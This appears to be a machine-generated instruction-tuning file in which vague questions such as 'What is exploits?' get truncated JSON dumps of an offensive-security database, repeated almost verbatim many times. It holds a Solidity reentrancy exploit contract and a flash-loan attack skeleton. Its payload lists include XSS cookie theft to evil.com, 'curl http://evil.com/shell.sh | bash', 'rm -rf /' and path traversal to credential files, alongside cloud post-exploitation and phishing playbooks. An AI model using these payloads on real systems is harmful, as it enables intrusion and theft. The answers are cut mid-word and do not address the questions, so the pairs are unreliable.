Instruction: Answer question

Input: How does vulnerabilities work?

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: Describe vulnerabilities

Output:
{
  "smart_contracts": {
    "solidity_vulnerabilities.json": {
      "metadata": {
        "collection_date": "2025-08-23T16:39:58.645545",
        "description": "Comprehensive Solidity and smart contract vulnerability database",
        "total_vulnerabilities": 14,
        "categories": [
          "reentrancy",
          "integer_overflow_underflow",
          "access_control",
          "front_running",
          "oracle_manipulation",
          "flash_loan_attacks",
          "delegate_call",
          "signature_malleability",
          "dos_attacks",
          "randomness_vulnerabilities",
          "proxy_vulnerabilities",
          "sandwich_attacks",
          "governance_attacks",
          "cross_chain_vulnerabilities"
        ]
      },
      "reentrancy": {
        "name": "Reentrancy Attack",
        "severity": "Critical",
        "description": "Allows attacker to recursively call a function before previous invocations complete",
        "vulnerable_code": "\n// VULNERABLE CODE\ncontract Vulnerable {\n    mapping(address => uint) balances;\n    \n    function withdraw(uint amount) public {\n        require(balances[msg.sender] >= amount);\n        \n        // External call before state update (VULNERABLE)\n        (bool success,) = msg.sender.call{value: amount}(\"\");\n        require(success);\n        \n        balances[msg.sender] -= amount;\n    }\n}\n            ",
        "exploit_code": "\n// EXPLOIT CODE\ncontract Attacker {\n    Vulnerable victim;\n    uint constant AMOUNT = 1 ether;\n    \n    function attack() external payable {\n        require(msg.value >= AMOUNT);\n        victim.deposit{value: AMOUNT}();\n        victim.withdraw(AMOUNT);\n    }\n    \n    receive() external payable {\n        if (address(victim).balance >= AMOUNT) {\n            victim.withdraw(AMOUNT);\n        }\n    }\n}\n            ",
        "prevention": [
          "Use Checks-Effects-Interactions pattern",
          "Use ReentrancyGuard from OpenZeppelin",


Instruction: Answer question

Input: What is exploits?

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Explain exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Tell me about exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: How does exploits work?

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: Describe exploits

Output:
{
  "crypto_defi": {
    "exploit_techniques.json": [
      {
        "technique": "Flash Loan Attack Pattern",
        "steps": [
          "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
          "2. Use borrowed funds to manipulate target protocol",
          "3. Exploit the manipulated state for profit",
          "4. Repay flash loan with fee",
          "5. Keep remaining profit"
        ],
        "requirements": "No initial capital needed, just gas fees",
        "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
      },
      {
        "technique": "MEV Bot Attack",
        "steps": [
          "1. Monitor mempool for profitable transactions",
          "2. Calculate optimal sandwich attack parameters",
          "3. Submit bundle with higher gas price",
          "4. Extract value from victim transaction"
        ],
        "requirements": "MEV bot infrastructure, capital for attacks",
        "tools": [
          "Flashbots",
          "MEV-Boost",
          "Custom mempool monitoring"
        ]
      },
      {
        "technique": "Cross-Chain Bridge Attack",
        "steps": [
          "1. Analyze bridge validation logic",
          "2. Find weakness in proof verification",
          "3. Craft malicious proof or message",
          "4. Submit to br


Instruction: Answer question

Input: What is methodologies?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Explain methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Tell me about methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: How does methodologies work?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Describe methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: What is training scenarios?

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Explain training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Tell me about training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: How does training scenarios work?

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Describe training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: What is offensive playbooks?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ],
      "workflow": [
        "Reconnaissance (TheHarvester, LinkedIn)",
        "Infrastructure setup (domains, SSL)",
        "Payload creation (msfvenom, Empire)",
        "Email crafting and sending",
        "C2 establishment"
      ]
    },
    "web_exploitation": {
      "tools": [
        "Burp Suite",
        "SQLMap",
        "Metasploit"
      ],
      "techniques": [
        "SQL injection",
        "RCE",
        "File upload"
      ],
      "workflow": [
        "Reconnaissance (dirb, gobuster)",
        "Vulnerability scanning (Nikto, WPScan)",
        "Manual testing (Burp Suite)",
        "Exploitation (SQLMap, custom exploits)",
        "Shell stabilization"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester",
        "pspy"
      ],
      "techniques": [
        "SUID exploitation",
        "Kernel exploits",
        "Sudo misconfig"
      ],
      "enumeration": [
        "System information gathering",
        "User and group enumeration",
        "Process monitoring",
        "Cron job analysis",
        "SUID/capability hunting"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ],
      "techniques": [
        "Token impersonation",
        "DLL hijacking",
        "Service exploits"
      ],
      "enumeration": [
        "System information",
        "Service enumeration",
        "Registry analysis",
        "Scheduled task review",
        "Credential hunting"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket",
      "RDP hijacking"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec",
      "Evil-WinRM"
    ],


Instruction: Answer question

Input: Explain offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ],
      "workflow": [
        "Reconnaissance (TheHarvester, LinkedIn)",
        "Infrastructure setup (domains, SSL)",
        "Payload creation (msfvenom, Empire)",
        "Email crafting and sending",
        "C2 establishment"
      ]
    },
    "web_exploitation": {
      "tools": [
        "Burp Suite",
        "SQLMap",
        "Metasploit"
      ],
      "techniques": [
        "SQL injection",
        "RCE",
        "File upload"
      ],
      "workflow": [
        "Reconnaissance (dirb, gobuster)",
        "Vulnerability scanning (Nikto, WPScan)",
        "Manual testing (Burp Suite)",
        "Exploitation (SQLMap, custom exploits)",
        "Shell stabilization"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester",
        "pspy"
      ],
      "techniques": [
        "SUID exploitation",
        "Kernel exploits",
        "Sudo misconfig"
      ],
      "enumeration": [
        "System information gathering",
        "User and group enumeration",
        "Process monitoring",
        "Cron job analysis",
        "SUID/capability hunting"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ],
      "techniques": [
        "Token impersonation",
        "DLL hijacking",
        "Service exploits"
      ],
      "enumeration": [
        "System information",
        "Service enumeration",
        "Registry analysis",
        "Scheduled task review",
        "Credential hunting"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
